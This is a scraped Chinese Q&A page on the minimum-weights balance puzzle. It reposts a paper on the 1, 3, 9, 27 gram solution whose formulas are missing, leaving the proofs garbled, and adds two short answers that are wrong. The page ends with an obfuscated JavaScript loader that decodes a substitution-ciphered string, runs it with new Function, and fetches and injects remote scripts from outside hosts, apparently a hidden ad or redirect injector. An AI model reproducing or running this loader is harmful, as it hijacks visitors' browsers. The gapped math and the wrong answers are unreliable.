推荐回答(3个)
最省砝码设置问题 经科学家验证,在天平上用4个砝码就可以称出从1克到40克的全部整克的重量
所需要的砝码是:1、3、9、27克四种规格。例如:被称量物体加 1克砝码与 9克砝码相等时,被称量物体的重量为8克,也就是等于两个砝码的差。
详细的 你可以查找最省砝码设置问题
最省砝码设置问题的数学模型
蒋晓云
桂林师专数学与计算机科学系 广西 桂林 541001
【摘要】通过对砝码的最省设置问题的研究,建立了解决这一类问题的数学模型,并给出了一个有效、简便、操作程序化的求解算法。
【关键词】砝码,数学模型,算法,猜想。
砝码的最省设置问题:用一架天平分别称出1克—n克不同物体的重量,最少需要几个天平砝码?砝码各重多少克?
我们可以把部分砝码当作“物体”,与物品放在一边,天平平衡时,“砝码”一边的砝码重量之和减去“物体”一边的砝码重量之和就是物体的重量。
1 数学实验
我们用枚举法,使用计算机做数学实验。用一架天平“称出”1克至n克的不同物体的重量,最少砝码数k和相应个数砝码的取法m的实验结果列入下表:
n 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
最少砝码数k 1 2 2 2 3 3 3 3 3 3 3 3 3 4 4 4
砝码取法种数m 1 2 3 1 18 22 26 19 19 9 4 3 1 761 890 880
n 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
最少砝码数k 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4
砝码取法种数m 920 906 877 719 712 561 469 415 309 227 205 153 106 88 62 46
n 33 34 35 36 37 38 39 40 41 … 77 … 120 121
最少砝码数k 4 4 4 4 4 4 4 4 5 … 5 … 5 5
砝码取法种数m 36 26 17 14 9 4 3 1 30642 … 8796 … 2 1
设 ,我们归纳发现:
猜想:用一架天平分别称出1克—n克不同物体的重量,如果 ,则最少需要k+1个砝码。对所有的自然数n,砝码可取 。当 时,它是砝码的唯一取法。
2 数学模型
为了叙述的方便,设集合P= , ,记 。
(1)若 或 ,我们称 为P的代数生成元组。
(2)代数生成元组的最小个数称为集合P的代数维数 。具有 个生成元的代数生成元组称为极小代数生成元组。
(3) 是P的极小代数生成元组,对每一个 都可以唯一地表示成: ,( ),则称 为P的标准代数生成元组。
由数论中知识,我们有下面与带余除法完全类似的一个正确结论:
引理1:对任意的自然数 ,存在唯一的整数 和 ,使得 ( )。
命题1:对任意自然数 ,令 ([x]为不超过x的最大整数),则 是集合P= 的一个代数生成元组。
证明: ,对任意的自然数 ,即 ,可以类似十进制数转换成二进制数的“除2取余法”,我们可以作一系列的“带余除法”,直到商数等于零为止:
……
其中 =-1或0或1( )。
从上面式子可得: , ( ),由此可推出 ,所以 ,从而有 ,即上述的“带余除法”最多做k+1步后商数为零。如果 ,我们可从上面“带余除法”等式推出:
我们已证明:对任意的自然数 , ( 为-1或0或1);而且容易证明其表示式是唯一的(证明略)。所以 是集合P= 的一个代数生成元组。
记 , ,则 。
命题3:集合 的代数维数为k+1, 是 唯一的极小代数生成元组,也是唯一的标准代数生成元组。
证明:由命题1可知, 有一组代数生成元 ,所以 。
设 , 为 的任意代数生成元组, ,由于 的对称性, 的正项与负项的项数相等,从而 , ,由 ,得 , 从而有 。
设 为 的极小代数生成元组,则
从而 ,所以 ,由此可以推出 ,即互不相同,且 ≠ 时,有 。
(否则 )。从而有 为 标准代数生成元组,且 = 。下面我们将 按 的系数不同分为三类: ,
,则 ,且 ,
①若 ,则 ;②若 ,则 ;③若 ,则 。(这是因为: ,否则 ,也有 ,否则 )。设
,所以 是 最大的 个元素,又因为 是 的最大元素,从而它们不是 的元素;它们也不是 中元素(否则它们每个元素加上 后 是 的元素,而这些元素已不在 中);所以它们是 中的元素; 应是 中元素; 应是 中元素, 又是 中元素……,由 可以得出, 依大小次序排列可分为 段,每段 个元素,且交替为 、 和 的元素组,从而有 ,从而 是3的幂,即 (i=1,2,…,k, k+1)。又 ,所以 (i=1,2,…,k, k+1)。从而证明了 是 的唯一的极小元代数生成元组,也是唯一的标准代数生成元组。
推论1:当对任意的自然数 ,集合P= 的算术维数 。
证明:令 ,则 ,因为 , 。
综上所述,我们实际上已证明了猜想。在解题的过程中,我们建立了解决这一类问题的数学模型:设集合P= ,则 (其中 )是P的极小代数生成元组,也是标准代数生成元组。即P中的每一个元素均能唯一地表示成 的代数和(即系数可以为-1或0或1),并可采有特殊的“除3取余法”来求表达式。当 时, 是P唯一的极小代数生成元组,也是唯一的标准代数生成元组。
3 解释与应用
问题1 用一架天平分别称出1克—40克不同物体的重量,最少需要几个天平砝码?砝码各重多少克?如何进行操作?
解:取 , ,故砝码只能取1克、3克、9克、27克(唯一的选取方法)。
如果物体重量是22克,我们可以作“带余除法”,用左边的“除法”算式表示,我们得到:
即把27克、3克和1克的砝码放在天平的一边,物品与9克砝码放在天平的另一边,若天平平衡,物体的重量为22克。
问题2:在集合P= 选取极少的几个数,使得这几个数能以加减运算组成另一些数。
解: ,可以选取1、3、9、27(还可能有其它选法),用1、3、9、27以加减运算组成0—31各数,可用上述特殊的“除3取余法”。
4 问题的拓展
对于砝码的最省设置问题,如果按人们习惯,天平称物品是砝码和物品各一边,天平平衡时,砝码的重量之和就是物体的重量的,那么答案就不一样了:
要用一架天平分别称出1克—n克不同物体的重量,令 ([x]为不超过x的最大整数),则至少需要k+1个砝码,砝码可取 。当 = 时,它是砝码的唯一取法。
相应的数学模型:设集合P= ,则 (其中 )是P的极小算术生成元组,也是标准算术生成元组。即P中的每一个元素均能唯一地表示成 的算术和(系数只能是0或者1),并可采用化十进制为二进制数的 “除2取余法”来求表达式。当 时, 是P唯一的极小算术生成元组,也是唯一的标准算术生成元组。
将有限集合P延伸为自然数集合N,则标准代数生成元组也无限延伸 ,从而数学模型的内容也随之得到扩展。 是自然数集合N的极小代数生成元组,也是标准代数生成元组。即每一个自然数均能唯一地表示成 的代数和,并可采有特殊的“除3取余法”来求表达式。
应该指出:天平砝码问题已不再只是一个简单的物理问题或数学游戏问题,它与很多数学问题有密切的联系,在生活、生产实际中也有较广泛的应用。
参考文献:
[1]杨世明,王雪芹.数学发现的艺术[M] .青岛:青岛海洋大学出版社,1998.
[2] 吕宪军.由一个重要数列谈数学模型的建立[J].小学数学教师,2002,4.
[3] 李卫国.高等数学实验课[M].北京:高等教育出版社,2000.
http://jxy.lszxedu.com/wz/9.doc
需要1,2,4,8,16,32.这几个,我记得这是个智力测验的题,答案就是这,不过如果是这个答案,就可以称道63克了,但这也是个数最少的答案了。
1,2,2,5,10,20
6个,这6个数可以组成1-40之间的所有数
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();